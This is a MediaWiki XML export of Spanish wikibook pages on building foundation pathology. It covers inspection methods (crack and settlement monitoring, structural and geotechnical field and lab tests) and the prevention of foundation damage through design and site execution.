::No deja un registro de la evolución de las lesiones, por lo que es menos asequible a jueces y notarios.
 

'''''Las grietas de tabiquería que alcancen velocidades de 2mm por mes se consideran problemas graves, mientras que el problema no es muy importante para velocidades de 1mm por año.'''''


==== ''Medición de asientos'' ====


:* Las realizadas por un ''topógrafo'' experto, alcanzando una precisión de 0,5 mm. 
[[Archivo:Topografo.jpg|200px|thumb|right|Topógrafo]]

:Precauciones a adoptar:

:- Emplear aparatos autonivelarles
:- Disponer referencias inamovibles en los pilares o elementos verticales.
	

* ''Niveles de precisión''
:Para la estimación de los asientos diferenciales, de flechas de gran magnitud se emplean niveles ópticos convencionales provistos de un micrómetro que aumenta su precisión, llegando a apreciar 0,1 mm. El nivel debe utilizarse siempre desde unos puntos de referencia fijos.

[[Archivo:Micrometro_copia.jpg|200px|right|thumb|Micrómetro]]

:'''Los asientos del orden de 1mm por mes entrañan riesgos para cualquier edificación, mientras que los de 1mm por año no exigen una evaluación inmediata. La tolerancia de estas medidas es mayor en mamposterías que en fábricas de ladrillo.'''

==== ''Medición de distorsiones de pórticos'' ====

:La medición se realiza mediante la instalación de pernos metálicos empotrados en la estructura, como bases para la medida con ''cinta extensiométrica'' obteniéndose una precisión de 1mm.


:* '''Extensiómetros de hilo.'''
:Para medir el movimiento horizontal relativo de estructuras verticales. El instrumento consta de un alambre que se mantiene en tensión debido a un peso y a un transductor eléctrico conectado al sistema de recogida de datos. Al producirse un movimiento se genera un potencial eléctrico que es enviado al sistema de lectura y transformado en mm. de desplazamiento. Estos sistemas son fiables y su instalación es fácil gracias a su flexibilidad.


:* '''Péndulo directo'''
:Para medir los movimientos horizontales absolutos de las estructuras verticales. En la parte superior de la estructura se cuelga el cable del péndulo, mientras que en la parte inferior una regleta mide las dos componentes de desplazamiento del cable.
[[Archivo:Pendulos_copia.jpg|200px|right|thumb|Péndulo]]

==== ''Control de giros y desplomes'' ====


:* '''Métodos ópticos'''
:Plomadas ópticas


:* '''Métodos mecánicos'''
:Taquímetros para ángulos
:Clinómetros para niveles

[[Archivo:Taquimetro_copia.jpg|200px|right|thumb|Taquímetro]]

==== ''Control de las condiciones ambientales'' ====

:Las condiciones ambientales influyen tanto en el comportamiento de deformación de la estructura como en algunos de los instrumentos de precisión anteriormente desarrollados, por ello se debe tener un control de: la temperatura, niveles de radiación, humedad relativa, dirección y velocidad del viento.

=== INSPECCIÓN FUNCIONAL DE LA ESTRUCTURA ===

Tras haber realizado varias inspecciones, recopilado información del historial del edificio y el levantamiento del estado de las fisuras de la estructura; se peden realizar una serie de pruebas que podemos clasificar:


==== ''Pruebas no destructivas'' ====

:Conseguimos datos rápidamente y sin dañar el elemento de estudio:


:* '''Medidas sónicas'''
:Basada en la emisión de ondas de sonido o ultrasonido a un punto de la estructura mediante un sistema de percusión y un transductor electrodinámico conectado a la vez a un aparato receptor.
:Con este ensayo estudiamos el tiempo que el impulso tarda en atravesar la sección del material existente entre el generador y el receptor. Los ultrasonidos son válidos para estructuras continuas, ya que para estructuras heterogéneas es necesario utilizar ondas de sonido.


:* '''Termografía sónica'''
:Con esta técnica obtenemos la distribución de velocidad del sonido en una sección plana de la estructura analizada. Se basa en la lectura del tiempo empleado por los impulsos sónicos en atravesar la sección en varias direcciones. Válido tanto en estructuras continuas como heterogéneas.


:* '''Búsqueda con radar'''
:Destinado al estudio de las características estructurales de las paredes. Esta técnica utiliza ondas electromagnéticas de alta frecuencia emitidas por una antena, las cuales vuelven reflejadas de la superficie de contacto entre materiales de diferentes constantes dieléctricas y son recibidas por una antena y transformadas en señales eléctricas. El resultado se puede imprimir.


:* '''Análisis termográfico'''
:Analiza la radiación emitida por una estructura gracias a aparatos sensibles a los rayos infrarrojos, transformándola en señales eléctricas que a su vez se transformarán en imágenes de diferentes tonalidades de color.
:Es utilizada para detectar anomalías en los elementos estructurales cubiertos con revoques, de los cuales es muy difícil extraer muestras.

==== '' Pruebas destructivas'' ====

:Las pruebas no destructivas aunque son rápidas, no son suficientes para determinar los parámetros necesarios para la evaluación de las condiciones estáticas de una estructura, por lo que habrán de realizarse pruebas de carácter destructivo, es decir que requieren alguna intervención sobre la estructura de la cimentación.


:* '''Reconocimiento con sonda de televisión'''
:Para conocer las características estructurales de los diferentes tipos de paredes del edificio es necesario realizar una perforación de pequeño diámetro y recoger unas muestras de los puntos más representativos de la estructura portante. Estas muestras son sometidas a las pruebas de laboratorio que hagan falta para identificar las características físico- químicas de los materiales.


:* '''Técnica de los gatos planos'''
:Nos permite obtener parámetros de deformabilidad y de resistencia, mediante el análisis de los siguientes parámetros: 
:- medida del estado de solicitaciones
:- determinación de las características de deformabilidad
:- evaluación de las características de resistencia a compresión.


:* '''Prueba delatométrica'''
:Prueba menos fiable que la de los gatos planos pero permite comparar los módulos de elasticidad exterior e interior de un muro.

[[Archivo:Dilatometrica_copia.jpg|200px|right|thumb|Prueba Dilatométrica]]

=== INSPECCIÓN DEL SUBSUELO DEL EDIFICIO ===

==== ''Inspección de la red de albañales'' ====

:Teniendo en cuenta que una de las causas más frecuentes de aparición de asientos en edificios antiguos proviene de la incorporación de agua a suelos limosos al deteriorarse la instalación de evacuación de aguas residuales y lluvias, será necesaria la inspección de posibles fugas actuales o sucedidas con anterioridad, tanto en el edificio como en su entorno.

:Se realizará:
:* Directamente, levantando gran superficie de pavimento de la planta baja
:* A través del control de las pérdidas que acusa la instalación en su recorrido

==== ''Inspección de la cimentación'' ====

:Se realizarán pozos para poder inspeccionar la cimentación y conocer dimensiones, canto y estado de conservación. Según el material con el que se haya llevado a cabo la cimentación podremos usar unos métodos de inspección u otros.

:A continuación se desarrollará el proceso a seguir en la inspección, según sea cimentación superficial o profunda: 

:* '''Cimentación superficial'''
:Se deberán realizar pozos tangentes a los cimientos hasta alcanzar el plano de la cimentación, lo cual permite además inspeccionar el terreno que sirve de firme. Se debe tener cuidado en laderas y terrenos deslizantes y expansivos, ya que la excavación disminuye la capacidad portante del terreno de cimentación pudiéndose producir movimientos horizontales combinados con los asientos. 

:* '''Cimentación por pilotes'''
:En este caso el pozo deberá dejar al descubierto el encepado y la cabeza de los pilotes que vamos a inspeccionar. Se comprobará la calidad de los materiales, las dimensiones y la posible existencia de fisuras en el encuentro de los pilotes y el encepado, lo cual nos daría señal de que se han producido esfuerzos de flexión sobre los pilotes.
:Para poder comprobar la calidad de la ejecución de los pilotes, es conveniente, aunque costoso, realizar el sondeo de alguno de los pilotes, obteniendo un testigo continuo de hormigón que se puede inspeccionar y así saber si el fallo proviene de la propia cimentación o no.

==== ''Inspección geotécnica del suelo de la cimentación'' ====

:Tras haber llegado a la conclusión de que el fallo no proviene de la propia cimentación, o que podría provenir además del suelo de cimentación, deberá realizarse una inspección del mismo.En principio la inspección ofrece pocas variantes respecto a la forma de hacerlo cuando estamos en la fase de proyecto.


===== MÉTODOS DE INSPECCIÓN DEL TERRENO =====


:* '''Catas o pozos''' 
:Excavaciones de formas diversas, que permiten una observación directa del terreno, así como la toma de muestras y eventualmente ensayos in situ, con una dimensión mínima de 75 cm. y una profundidad máxima recomendada de 10 m. La cata debe entibarse y protegerse contra la inundación. 
:Al final se rellenan y apisonan por tongadas con el fin de devolver al terreno la compacidad inicial.


:* '''Sondeos'''
:Son perforaciones en el terreno con el fin de extraer muestras alteradas o inalteradas del mismo. El diámetro mínimo del tubo de sondeo suele ser de 75 mm. y las profundidades a alcanzar van de los 10 m. en los manuales a cientos de metros en los mecánicos.
:Los sondeos permiten:
::* Conocimiento de la estratigrafía del terreno
::* Los orificios del tubo permiten la realización de ensayos in situ
::* Determinar el nivel freático

::Tipos:
::* ''Sondeos manuales:'' Se realizan con barrena de gusanillo o cucharas de tipos diversos. Las muestras extraídas son de naturaleza alterada, y por tanto válidas para la identificación y determinación de la humedad natural. No son utilizables en terrenos granulares flojos, que pueden fluir al extraer el equipo, ni cuando existan gravas de tamaño superior a la mitad del diámetro de la cuchara.
::* ''Sondeos mecánicos:'' Son perforaciones realizadas a presión ( suelos blandos), percusión (gravas, materiales cementados) o rotación ( rocas, suelos duros), con diámetros habituales entre 65 y 140 mm, que sirven para la extracción y reconocimiento del terreno, y para la realización de ciertos ensayos in situ.

::Es probable que existan sondeos anteriores, realizados previamente a la ejecución de las cimentaciones, pero pueden ser erróneos, insuficientes o darnos una imagen del suelo en una fecha determinada que puede haber variado en el transcurso del tiempo, por lo que normalmente no los tendremos en cuenta.


::'''Distribución de los sondeos:''' En lugar de distribuir los sondeos de manera uniforme sobre la superficie del solar, como ocurre en la fase de proyecto, los concentraremos en: 
::* aquellos lugares donde apreciemos el máximo asiento de la construcción, determinando este punto gracias al trazado de las grietas.
::* realizando los sondeos mínimos para conocer las características geotécnicas del terreno.
::* si se intuyera que la causa puede ser exterior al edificio (como la realización de una cimentación o de una excavación en su proximidad), la prospección podrá realizarse en una zona amplia que no tiene por qué estar limitada por los muros del edificio lesionado.


:* '''Extracción de muestras inalteradas'''
:Se trata de obtener muestras representativas del terreno. Si podemos acceder directamente al terreno las muestras serán de unos 20-30 cm. de lado, si hay que realizarla por medio de sondeo lo más habitual es que el tubo de sondeo tenga un diámetro exterior de 79 mm. y el interior de 71 mm.

===== ENSAYOS IN SITU =====

:'''Ensayos destructivos'''

::* ''Ensayo de penetración:'' ofrece la medida de la resistencia del terreno a la ruptura a compresión.

[[Archivo:Spt.jpg|200px|right|thumb|STP]]

:::''Ensayo SPT''
:::Consiste en un tubo de 60 cm de largo y 50,8 mm de diámetro exterior que se clava en el terreno mediante la caída libre de una masa de 63,5 kg desde una altura de 75 cm.
:::El número de golpes que da la masa para introducir el tubo se anota por tramos de 15cm, realizándose 4 y obteniéndose el valor del SPT como el de la suma de los 2 centrales. Nos da una idea de la resistencia del terreno, cuantos más golpes haya que dar más resistente será. 
:::Se realiza en suelos granulares, porque en el resto suele dar rechazo.

::* ''Ensayo de cizallamiento:'' proporciona el valor de la cohesión.
	

:'''Ensayos no destructivos'''

::No descomponen el terreno o muestra analizada. Podemos distinguir:

::* ''Placa de carga:'' consiste en la colocación sobre el terreno de una placa que, sometida a diferentes cargas, permite conocer la resistencia superficial y las deformaciones del terreno. Ayuda a determinar el asiento producido por la aplicación de una carga progresivamente. Es un ensayo útil cuando es difícil la toma de muestras (terrenos granulares). Está normalizado.

[[Archivo:Placa_carga.jpg|200px|right|thumb|placa de Carga]]

::* ''Presiométrico:'' Requiere que haya un sondeo adjunto. Consiste en la dilatación a presión por gas de una célula cilíndrica contra las paredes de un sondeo, midiendo la deformación volumétrica correspondiente a cada presión hasta llegar eventualmente a la rotura del terreno. Se obtienen datos sobre el módulo elástico y la presión de ruptura del terreno.

::* '' Georadar:'' Se usa para la determinación de las irregularidades que puedan existir en el terreno (galerías, túneles..)

[[Archivo:Georadar.jpg|200px|right|thumb|Georadar]]

::* ''Métodos radiactivos:'' emisión de rayos y recepción de las ondas de retorno. Se utiliza para la determinación de la densidad de materiales compactos y para efectuar diagrafías.

== EN LABORATORIO ==

=== INSPECCIÓN DEL SUBSUELO DE UN EDIFICIO ===


==== '' Inspección de la cimentación'' ====

:Para realizar la inspección:

:* Obtención de probetas testigo para caracterizar el hormigón: la extracción y posterior ensayo a compresión de probetas testigo, es el sistema más seguro para determinar la resistencia a compresión del hormigón. Es un método destructivo y costoso. En el caso del hormigón de cimentaciones es muy probable que el tamaño del árido sea superior a 30mm, por lo que es necesario extraer testigos que tengan una dimensión mínima superior a 3 veces dicho tamaño del árido. En este ensayo mecánico, influyen una serie de parámetros:
::- Procedencia del testigo
::- Esbeltez del testigo, debe tener una relación altura/diámetro superior a 1 y lo más próxima posible a 2.
::- Estado de saturación.
:Este ensayo no puede compararse directamente con la especificación de proyecto.

: *Sobre el hormigón endurecido puede también estimarse el contenido de cemento. Para ello es necesario analizar una muestra con un masa mínima de 1 a 2 Kg., dependiendo del tamaño máximo del árido. El ensayo puede realizarse sobre los trozos de testigo previamente ensayados a compresión. 
:* También se puede determinar la porosidad y densidad del hormigón.

:Debido a que el tema de inspección en hormigón, estructuras metálicas, madera,etc...se desarrollará en otros temas del curso, no vamos a profundizar más en los ensayos de estos materiales.

==== ''Inspección geotécnica de la cimentación'' ====

===== Ensayos de identificación =====

[[Archivo:Granulo.jpg|200px|right|thumb|Granulometría]]

:Existen dos clases de suelos los granulares ( gravas y arenas) y los cohesivos (arcillas y limos). Mediante curvas granulométricas podemos deducir la uniformidad de los granos y la capacidad de compactación de los suelos granulares. 

::* Un suelo ''granular'' es apto para cimentar si el espesor del estrato es suficiente y la compacidad es media o alta. Los asientos en estos suelos se acusan de forma rápida frente a cargas estáticas y con magnitudes considerables frente a cargas dinámicas.

::* En los suelos ''cohesivos'' o de granulometría fina, la consistencia varía con la humedad, y el asiento bajo carga estática es lento pero importante. Según el grado de humedad, la arcilla tendrá una consistencia fluida, plástica o seca. Los puntos de inflexión entre una consistencia y otra se llaman límites de Atteberg. Estos límites se usan para clasificar un suelo y conocer la consistencia de estos suelos.


''' Ensayos físicos'''

:Los más importantes corresponden a la determinación de la densidad, de la cantidad y tamaño de los poros y de la humedad del terreno. El estudio de la densidad y la porosidad se realiza para reducir los asientos en los edificios. El contenido de humedad puede obtenerse por el procedimiento del carburo cálcico o con humidímetros calibrados.


'''Ensayos químicos'''

:Para determinar la presencia de compuestos que hayan podido resultar agresivos para los materiales de construcción, en nuestro caso de la cimentación. Los ensayos se efectúan tanto en suelos como en agua. Principalmente lo que se busca es el contenido de: sulfatos, sulfuros, carbonatos, cloruros, nitratos, ph del agua, magnesio y amoníaco.


'''Ensayos mecánicos'''

:* ''' Hinchamiento de los suelos'''

::''Ensayo de hinchamiento Lambe:'' tiene por objeto predeterminar la peligrosidad de un suelo por hinchamiento o expansión. Es importante, ya que como se ha mencionado en el apartado de causas de patología de cimentaciones, una de ellas se produce por haber cimentado en terreno de arcillas expansivas.


:* '''Compresibilidad de los suelos'''

::Conocer la deformabilidad de un suelo, nos permitirá poder calcular los previsibles asientos. No todos los suelos se deforman igual, ya que las arcillas se caracterizan por su gran compresibilidad y capacidad de retener el agua frente a las arenas.
::El estudio de la compresibilidad se realiza para suelos arcillosos y en estado de saturación.

::''El ensayo edométrico:'' 
::Consiste en colocar una muestra de terreno de diámetro de 45 a 90 mm. y una altura de 10 a 25 mm. de altura, dentro de un anillo indeformable, colocando encima y debajo de la muestra piedras porosas, que permiten la expulsión del agua. Si no permitiéramos la expulsión del agua, mediríamos la compresibilidad del agua y no la del suelo. El ensayo de laboratorio se realiza aplicando distintas cargas verticales y midiendo en cada “escalón de carga” la deformación producida. Para conseguir que la deformación se estabilice, entre escalones de carga deben transcurrir 24 horas, por lo que es un proceso lento. Pueden obtenerse curvas de consolidación, en función del tiempo de consolidación y la deformación producida.
::Una vez terminado el proceso de carga, se procede a descargar según los escalones, con lo cual obtenemos la capacidad de recuperación del terreno. Los resultados del proceso de carga y descarga se representan en la curva edométrica, la cual es distinta según el tipo de terreno.
[[Archivo:Edo.jpg|200px|right|thumb|Ensayo Edométrico]]


:* ''' Rotura de los suelos cohesivos'''

::''Carga rápida:'' Si aplicamos una carga rápida el agua no tiene tiempo de disiparse, y por tanto permitir que el suelo se deforme. A la carga aplicada se opone las fuerzas de contacto entre las partículas. En este caso tenemos una resistencia a la rotura que es la cohesión aparente sin drenaje.


::''Carga lenta:''
:::a)''Suelos normalmente consolidados:'' Si aplicamos el esfuerzo el agua va escapando y las partículas del suelo empiezan a girar y a deformarse, por lo que la resistencia a rotura se produce por rozamiento, por lo que este tipo de suelo tendrá un ángulo de rozamiento que llamaremos efectivo.
:::b) ''Suelos preconsolidados:'' Para romper el suelo es necesario primer romper las “soldaduras” entre partículas para posteriormente deformarse, por lo que en este caso tendremos una cohesión y un ángulo de rozamiento.
:::Es decir, que una arcilla normalmente consolidada se comporta de manera parecida a una arcilla lisa de ángulo de rozamiento bajo. ( Arenas 30º-36º y Arcillas 15 –24 º)


::Para obtener estos parámetros se realizan ensayos de laboratorio, los más comunes:


:::'''Ensayo de corte directo''' 
:::El aparato que se usa es de Casagrande, donde se intenta romper la muestra según un plano prefijado. Se aplica una carga vertical N y otra tangencial T y se va aumentando hasta que la muestra rompe. Este ensayo es válido para suelos granulares, grandes deformaciones y para grandes muestras.
:::Al realizar los ensayos obtenemos unos valores de rotura que representamos en una gráfica, obteniendo la línea de resistencia intrínseca, y por tanto la línea de rotura.

[[Archivo:Corte_direst.jpg|200px|right|thumb|Corte Directo]]


::: '''Ensayo triaxial'''
:::El aparato que se usa es el que se adjunta en la imagen, y la altura de la muestra suele ser el doble del diámetro. Para suelos cohesivos y por tanto muestras inalteradas.
:::El aparato es un cilindro hermético dentro del cual se coloca la muestra protegida con una membrana d plástico muy deformable. Este cilindro se llena de agua y se transmite presión. Se ejerce una carga vertical y una horizontal (agua).

[[Archivo:Ensayo_triaxial.jpg|200px|right|thumb|Ensayo Triaxial]][[Archivo:Ensayo_triaxial1.jpg|200px|right|thumb|Ensayo Triaxial]]

:::Podemos realizar:

:::* ''Ensayos con consolidación y drenaje (CD)''
:::Se deja la válvula abierta para que salga el agua de los poros de la muestra. 

:::* ''Ensayo con consolidación y sin drenaje (CU)'' 
:::Con este ensayo obtenemos la presión del agua. Cuando la muestra consolida cerramos la válvula e incrementamos las presiones. Lo hacemos unas cuantas veces y tomamos nota de ello.

:::* ''Ensayo con consolidación y sin drenaje (UU)''
:::No suele hacerse, ya que es más rápido y aporta los mismos resultados el de compresión simple. Se realiza para saber qué ocurre cuando aplicamos la carga rápidamente y no hay drenaje, para ello mantenemos la válvula cerrada y cargamos rápidamente. Obtenemos tensiones totales.


:::'''Ensayo de compresión simple''' 
:::En muestras inalteradas, por tanto para suelos cohesivos. Ponemos la muestra en un prensa sin acción lateral, aumentamos la presión vertical hasta la rotura y obtenemos la resistencia de compresión simple. 
:::Muy blanda ------------ &lt; 0,25
:::Blanda ------------------ 0,25 - 5
:::Media ------------------- 0,5 - 1
:::Firme ------------------- 1 - 2
:::Muy firme -------------- &gt; 4

[[Archivo:Compresion_simpl.jpg|200px|right|thumb|Compresión Simple]]


==== ''Conclusiones'' ====

'''* Cimentación superficial'''
:Es necesario estudiar la compresibilidad de los estratos situados entre el plano de la cimentación y una profundidad igual al ancho del edificio. Para ello será necesario la extracción de un testigo continuo y un ensayo SPT para hacerse una idea de la calidad del suelo.
:Las muestras inalteradas mostrarán a largo plazo las características geotécnicas del suelo ( cohesión, ángulo de rozamiento interno, módulo de deformación bajo las solicitaciones).
:Para poder realizar el cálculo de los asientos es imprescindible la realización del ensayo edométrico así como el tiempo de consolidación bajo la carga transmitida, ya que:
::- el suelo es reparable si ha alcanzado un 85 % de su consolidación total bajo la carga transmitida
::- Si el grado de consolidación es menor, debemos hallar:
:::el valor de la deformación que resta
:::tiempo que tardará en alcanzar la deformación
:En función de estos valores se decidirá el momento en que se deberá llevar a cabo la reparación.


* '''Cimentación por pilotes'''
:Se deberá realizar una inspección para saber si la profundidad de los pilotes era la adecuada, comprobando:
::- La existencia de estratos blandos dentro del bulbo de presiones del pilote, por lo que tendríamos una falta de empotramiento.
::- Eventual existencia de solicitaciones mayores que las de proyecto: por rozamiento negativo o cargas inclinadas.
:Las ventajas que proporcionan los penetrómetros, al margen de la rapidez y la economía, es que es un sistema de prospección continua, por lo que se tiene referencia geotécnica de toda la columna de suelo atravesado, lo cual es muy importante en el caso de los pilotes.

== EN OFICINA TÉCNICA ==

:Gracias a la realización de las técnicas e inspecciones descritas hasta ahora, se ha podido obtener gran información acerca de la patología observada. En la oficina técnica y en base a los datos obtenidos se realizan una serie de estudios que aportan información importante para poder realizar un correcto análisis de la patología.


=== APLICACIÓN DE LOS MODELOS FÍSICOS ===

:En un modelo físico se combinan las fuerzas, las solicitaciones, los módulos de elasticidad, los asentamientos, por lo tanto, habrá una escala de fuerzas, una escala de solicitaciones, etc...

:Los modelos estructurales modernos nos permiten evaluar la resistencia de la estructura, sobre todo nos da una idea de su comportamiento frente a la carga de viento, una carga accidental o a sismos.


=== APLICACIÓN DE LOS MODELOS NUMÉRICOS ===

:Con el método numérico se pueden analizar diversas condiciones de carga ( peso propio, carga térmica, asentamientos diferenciales de la cimentación) y el comportamiento de las deformaciones que permiten comprender mejor los resultados proporcionados por las inspecciones desarrolladas en el apartado 2.1.

:Los modelos numéricos proporcionan información importante al análisis de las cargas estáticas de una estructura, las cuales utilizan los datos obtenidos en los ensayos en obra y en el laboratorio.

:Los datos de entrada para el modelo matemático provienen de los ensayos de deformabilidad realizados en obra con los gatos planos y la validación del mismo se realiza mediante la comparación entre las solicitaciones obtenidas en obra y las calculadas teóricamente para el modelo.


=== ANÁLISIS DEL COMPORTAMIENTO DINÁMICO ===

:Los ensayos realizados en obra con métodos dinámicos permiten verificar el comportamiento estructural y la integridad del edificio pudiendo ser considerados ensayos de tipo no destructivo.

:Las pruebas dinámicas pueden con los procedimientos siguientes:

::- Mediante el análisis de los datos obtenidos de la respuesta de la estructura a cargas dinámicas habituales o fortuitas a que está expuesta habitualmente la estructura ( tráfico urbano o ferroviario, acción del viento, máquinas).
::Los parámetros dinámicos son determinados mediante la técnica de análisis espectral.

::- Someter a la construcción a pruebas de baja intensidad, siempre y cuando no alteren la integridad estructural), a la vez que se registran las respuestas del sistema en términos de traslación, velocidad y aceleración. Las respuestas a estas vibraciones son medidas por sensores sismométricos.
::Este ensayo permite identificar el comportamiento dinámico de la estructura por medio de la evaluación de parámetros como frecuencia natural, formas modales, índice de amortiguación, etc...

:El conocimiento de estos parámetros nos permite calcular la respuesta estructural a cualquier carga dinámica, en particular la resistencia de la estructura a las acciones sísmicas.

:Todos los datos obtenidos hasta ahora deberán analizarse minuciosamente comparando el estado actual con el de proyecto, recalculando la cimentación si fuese necesario para poder llevar a cabo una correcta reparación de la cimentación, como se verá en el apartado siguiente.
 

'''BIBLIOGRAFÍA'''


:- Monjo, J.; Maldonado, L. (2002): MANUAL DE INSPECCIÓN TÉCNICA DE EDIFICIOS. Ed. Munilla Lería. Madrid, 2002; ISBN 84-89150-47-8

:- Logeais, L. (1982): PATOLOFÍA DE LAS CIMENTACIONES. De. Gustavo Gili, S.A. ISBN 84-252-1170-0

:- Faustino Merchán Gabaldón (1999): MANUAL PARA LA INSPECCIÓN TÉCNICA DE EDIFICIOS. Ed. Dossat 2000. ISBN 84-95312-12-3

:- COAM (1991): CURSO DE PATOLOGÍA: CONSERVACIÓN Y RESTAURACIÓN. TOMO1. ISBN 84-7740-041-5

:- Francisco Serrano Alcudia: PATOLOGÍA DE LAS CIMENTACIONES. EFECTOS DE LAS ARCILLAS EXPANSIVAS. CIMENTACIONES INADECUADAS. ISBN :84-86891-00-0

:- Hermann Blume (1986): FALLOS EN LOS EDIFICIOS. Manuales AJ. ISBN 84-7214-359-7

:- Jerónimo Lozano Apolo/ Alfonso Lozano Martínez – Luengas: CURSO DISEÑO, CÁLCULO Y PATOLOGÍA DE LAS CIMENTACIONES. ISBN 84-920401-2-2

:- ENCICLOPEDIA BROTO DE PATOLOGÍAS EN LA CONSTRUCCIÓN. PATOLOGÍA DE LOS ELEMENTOS CONSTRUCTIVOS (III): CIMENTACIONES

:- Mañá F. (1978): PATOLOGÍA DE LAS CIMENTACIONES. Ed. Barcelona. ISBN 84-7031-085-2

:- APUNTES DE MECÁNICA DEL SUELO Y CIMENTACIONES

:- Página web: ASEFA.COM

{{AutoCat}}</text>
      <sha1>a2l3lr31evzvjf7ea5ah8tk34d9z2f0</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Prevención</title>
    <ns>0</ns>
    <id>13360</id>
    <revision>
      <id>430117</id>
      <parentid>178481</parentid>
      <timestamp>2026-08-02T11:43:26Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430117</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12587" sha1="jrbirjaznty224nt23pwp0ooe011m28" xml:space="preserve">==Diseño==


===ESTUDIO DE LAS CARACTERÍSTICAS DEL SUELO. ESTUDIO GEOTÉCNICO===

:La mayoría de las lesiones que se producen en la cimentación de los edificios pueden ser prevenidas mediante un buen diseño de sus elementos. Para ello, el primer paso es conocer las características del terreno donde se va a asentar el edificio. Toda la información necesaria se encuentra en el estudio geotécnico.

====''Información sobre el terreno'':====  

:* Plano acotado de la parcela con la situación del edificio y las curvas de nivel.
:* Usos del terreno, obras anteriores y posibles modificaciones en la misma parcela.
:* Existencia de servidumbres: instalaciones urbanas dispuestas en redes subterráneas, su situación y disposición. Ej: :Abastecimiento, sanitarias, drenaje, etc.

====''Información del edificio a construir'':====

:* Secciones indicando la cota de las plantas bajas o plantas sótano.
:* Descripción y morfología del tipo de estructura.
:* Tipo de cimentación prevista en secciones y planta, indicando la cantidad de carga que llega a cada elemento de cimentación.


:''Información general de la zona'': Descripción del tipo de suelo: Arcillosos, arenosos, gravas, rocas, etc.

:* Existencia de roca o estratos resistentes utilizados en la zona para cimentar, indicando su cota respecto al nivel de la planta baja.
:* Existencia de capas freáticas.
:* Situación de arbolado circundante.
:* Existencia de terrenos expansivos y/o agresivos.
:* Precedentes en la zona de irregularidades en el terreno, tales como fallas, corrimiento de tierras, etc.


''Información de los terrenos colindantes'':

:* Información sobre estratos y niveles freáticos, así como la existencia de terrenos expansivos y/o agresivos.
:* Características mecánicas de los suelos colindantes utilizadas para el cálculo de cimentaciones vecinas.


''Información de la edificaciones vecinas situadas a menos de 50 m'':

:* Número de plantas, incluyendo sótanos.
:* Descripción y morfología del tipo de estructura.
:* Desnivel entre el nuevo edificio y los edificios colindantes.
:* Existencia de muros de contención.
:* Planos y secciones que indiquen la situación y características de las cimentaciones colindantes.
:* Comportamiento general de los edificios vecinos en función de los movimientos de terreno.


===MATERIALES===

El material que principalmente se utiliza en cimentaciones es el hormigón armado, dado que sus características lo hacen menos propenso a ser atacado por agentes químicos existentes en el terreno. El diseño de los elementos de cimentación viene determinado por el cálculo de cargas que llegan al terreno.

''El mortero de cemento'': Los morteros más adecuados para ser utilizados en cimentaciones son: S – III – 350, PUZ – I – 250 y 350, PUZ – II 250 y 350.

''La armadura de acero'': Se utilizan redondos de acero corrugados.


===SISTEMAS DE CIMENTACIÓN===
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Sistemas de Cimentación Superficial|Cimentación Superficial]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Sistemas de Cimentación por Muros|Muros]]
*[[Patología de la edificación/Cimentaciones/Superficiales/Diseño/Sistemas de Cimentación por Pilotes|Pilotes]]

===INTEGRACIÓN CON OTROS SISTEMAS===

====''Sistema de drenaje y evacuación de aguas. Saneamiento'':====

:Es recomendable en el diseño de los elementos de cimentación, tener en cuenta principalmente el sistema de drenaje y evacuación de aguas. Del mismo modo, las instalaciones del edificio deben quedar por encima del plano de cimentación, no intersectando zapatas ni vigas de atado.

:En el caso de que en las zonas próximas existan corrientes de agua que puedan inundar parcialmente los terrenos colindantes la cimentación debe situarse en un plano más profundo que el nivel más bajo del agua.


====''Sistema estructural'':====

:Cuando exista una junta estructural con soporte duplicado, se dispondrá un solo elemento de cimentación, sea zapata, viga flotante o encepado para cimentar con pilotes.


====''Sistema de cerramientos. Paramentos verticales de fachada'':====

:Los muros de la planta baja que no sean de carga apoyarán sobre una viga de atado o una zapata corrida, sin que se transmitan cargas, salvo el peso propio del elemnto consructivo.


===ERRORES DE DISEÑO Y CÁLCULO===

* Cimentación insuficiente: es un error de proyecto provocado normalmente por olvido de alguna sobrecarga de uso en el cálculo, o algún otro factor externo que no se tuvo en cuenta.

* Previsión de asientos excesivos.

* Mala calidad de los materiales: si el mortero no es el adecuado, el elemento de cimentación puede ser atacado por agentes del medio. Es el caso de muchos edificios antiguos, en los cuales la cimentación re ha realizado con morteros muy pobres que suponen graves problemas para el edificio.

* Ausencia de toda la información necesaria en el estudio geotécnico: puede llevar a la elección de un sistema de cimentación erróneo, o a la elección de un estrato de terreno equivocado como base donde apoyar la cimentación.

* No tener en cuenta las características de un suelo poco homogéneo: si se trata de un suelo de esas características las medidas de diseño a adoptar son la de establecer una estructura rígida para el edificio.

* No tener en cuenta posibles agresiones por parte del medio.

* No tener en cuenta cimentaciones de edificios vecinos: Utilizar un sistema de cimentación diferente al utilizado por un edificio vecino, en la mayoría de los casos acarrea problemas de asientos y fisuras, más aún si existen garajes y plantas de sótano.


==Ejecución==

===CONTROL DE RECEPCIÓN EN OBRA===

Cuando los materiales llegan a la obra se debe comprobar que poseen los correspondientes certificados de calidad homologados. Para todos los sistemas de cimentación se reciben en obra:


* ''Morteros preparados'': se debe comprobar que su composición es la especificada en el proyecto de ejecución.
* ''Morteros para ejecutarse en obra'': se debe comprobar la calidad del cemento, áridos, y agua de amasado que llegan a la obra, y la calidad, a su vez, del mortero elaborado en la misma.
* ''Acero'': se comprobará que las armaduras de redondos corrugados son las especificadas en proyecto y que tienen el dibujo correcto.


===CONSTRUCCIÓN DEL SISTEMA===

La correcta ejecución de la cimentación pasa primero por un buen tratamiento del terreno donde se va a asentar. Para ello se realizan:

* ''Demoliciones'': en caso de que el terreno sea de carácter rocoso.
* ''Explanaciones'': desmontes y terraplenes para dar al terreno la superficie necesaria donde apoyar el edificio. Se debe tener en cuenta que cualquier tierra añadida estará removida y por lo tanto no resulta lo suficientemente compacta como para asentar sobre ella el edificio. Para solucionarlo se suelen realizar técnicas de compactación de terreno con máquinas especializadas.
* ''Vaciados'': excavaciones que permiten encontrar una superficie horizontal adecuada para asentar la cimentación.
* ''Zanjas y pozos'': Excavaciones necesarias previas para situar zapatas y encepados.
